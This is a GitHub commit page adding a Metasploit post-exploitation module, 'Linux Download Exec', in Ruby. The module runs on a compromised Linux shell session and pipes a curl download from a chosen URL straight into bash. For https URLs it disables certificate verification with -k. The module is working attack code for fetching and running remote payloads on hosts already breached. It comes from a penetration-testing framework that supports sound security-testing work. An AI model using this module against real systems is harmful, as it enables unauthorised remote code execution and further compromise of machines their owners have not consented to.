Skip to content

Commit 07d78af

Browse files
committed
Linux post module to download and run a command
1 parent 40e801d commit 07d78af

File tree

1 file changed

+50
-0
lines changed

1 file changed

+50
-0
lines changed
Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'msf/core/post/common'
11+
require 'msf/core/post/file'
12+
require 'msf/core/post/linux/system'
13+
require 'msf/core/post/linux/priv'
14+
15+
class Metasploit3 < Msf::Post
16+
17+
include Msf::Post::Common
18+
include Msf::Post::File
19+
include Msf::Post::Linux::System
20+
21+
22+
def initialize(info={})
23+
super( update_info( info,
24+
'Name' => 'Linux Download Exec',
25+
'Description' => %q{
26+
This module downloads and runs a file with bash. It uses curl and bash from the PATH.
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' =>
30+
[
31+
'Joshua D. Abraham <jabra[at]praetorian.com>',
32+
],
33+
'Platform' => [ 'linux' ],
34+
'SessionTypes' => [ 'shell' ]
35+
))
36+
register_options(
37+
[
38+
OptString.new('URL', [true, 'Full URL of file to download.'])
39+
], self.class)
40+
41+
end
42+
43+
def run
44+
if datastore['URL'].match(/https/)
45+
vcmd_exec("`which curl` -k #{datastore['URL']} 2>/dev/null | `which bash` ")
46+
else
47+
vcmd_exec("`which curl` #{datastore['URL']} 2>/dev/null | `which bash` ")
48+
end
49+
end
50+
end

0 commit comments

Comments
 (0)